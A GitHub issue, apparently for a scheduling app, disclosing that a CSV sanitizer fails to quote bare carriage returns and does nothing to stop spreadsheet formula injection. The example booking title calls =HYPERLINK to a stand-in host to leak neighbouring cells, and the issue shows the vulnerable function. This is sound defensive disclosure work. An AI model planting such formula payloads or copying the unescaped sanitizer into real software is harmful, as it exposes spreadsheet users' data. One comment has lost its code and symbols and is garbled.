Repository navigation
CSV export: bare \r splits rows and formula injection is unescaped in sanitizeValue #29843
Description
Issue Summary
sanitizeValue() in packages/lib/csvUtils.ts — the function every CSV export runs its values through — has two escaping holes. Both are reachable with attacker-supplied text, because booking titles and attendee names come from whoever books the meeting, not from the person downloading the file.
export const sanitizeValue = (value: string) => {
if (value.includes('"')) {
return `"${value.replace(/"/g, '""')}"`;
}
if (value.includes(",") || value.includes("\n")) {
return `"${value}"`;
}
return value;
};1. A bare carriage return breaks the row structure
The newline check only looks for \n. RFC 4180 treats a lone \r as a record separator too, and so do real parsers. A value containing \r is emitted unquoted and splits the row.
Reproduced with Python's csv module (RFC 4180 compliant) on the exact output of objectsToCsv:
input rows: 2 data rows, 3 columns
parsed out:
['Booking UID', 'Title', 'Attendee name']
['abc', '=1+1', 'Alice']
['jkl', 'CR'] <- row split in half
['injected', 'Dan'] <- and every column after it is shifted
row count: 4 (expected 3)
Anyone who can set a booking title or attendee name to foo\rbar corrupts the org's exported spreadsheet from that row onward.
2. CSV formula injection (CWE-1236)
Values beginning with =, +, -, @, tab or CR are interpreted as formulas by Excel, LibreOffice and Google Sheets. sanitizeValue passes them through untouched:
Booking UID,Title,Attendee name
abc,=1+1,Alice
def,"=HYPERLINK(""https://evil.test?d=""&A1,""Click"")",Bob
The second row is quoted — because it happens to contain a quote character — and quoting does not stop formula evaluation; spreadsheet apps strip the quotes first. So a booking titled =HYPERLINK("https://evil.test?d="&A1,"Click") becomes a clickable link in an admin's downloaded sheet that exfiltrates neighbouring cell contents.
Where this is reachable from
apps/web/modules/bookings/components/BookingsCsvDownload.tsx→transformBookingToCsv()putsbooking.title, attendee names, attendee emails andbooking.locationstraight into the export. These are supplied by the person making the booking.apps/web/modules/users/lib/UserListTableUtils.ts→ the members export.
Separately, in generateCsvRawForMembersTable() the email, role and ${orgDomain}/${username} columns are concatenated without calling sanitizeValue at all, while the Teams and attribute columns do call it. That looks unintentional given the surrounding code.
Expected results
- A value containing
\r,\r\nor\nis quoted, so one field stays one field. - Values that a spreadsheet would evaluate as a formula are neutralised (the usual fix is prefixing a single quote or a tab, per OWASP).
- Every column in the members export goes through the same escaping as its neighbours.
Reproduction
const sanitizeValue = (value) => {
if (value.includes('"')) return `"${value.replace(/"/g, '""')}"`;
if (value.includes(",") || value.includes("\n")) return `"${value}"`;
return value;
};
sanitizeValue("a\rb"); // "a\rb" — not quoted, splits the row
sanitizeValue("=1+1"); // "=1+1" — evaluated by Excel/SheetscsvUtils.ts currently has no test file.
I have a fix ready and will open a PR referencing this issue.
Activity
chrisf2006 commentedon Jul 29, 2026
I'd like to take this bug. I'll review the CSV sanitization flow and fix the escaping issues in
sanitizeValue, including handling bare carriage returns and preventing spreadsheet formula injection. I'll also verify all CSV export paths consistently apply sanitization, add test coverage for malicious and edge-case inputs, and submit a PR with the changes.GauravPatil2515 commentedon Aug 2, 2026
Proposed Solution
The issue is in - has two security holes:
1. Bare carriage return () splits rows - RFC 4180 treats as record separator
2. Formula injection - Values starting with , , , , , are evaluated by Excel/Sheets
Fix:
""
Also need to ensure in calls for ALL columns (currently skips email, role, orgDomain/username).
Add tests for covering:
Happy to implement with comprehensive tests.
fix(csv): prevent formula injection and handle bare CR per RFC 4180 (c…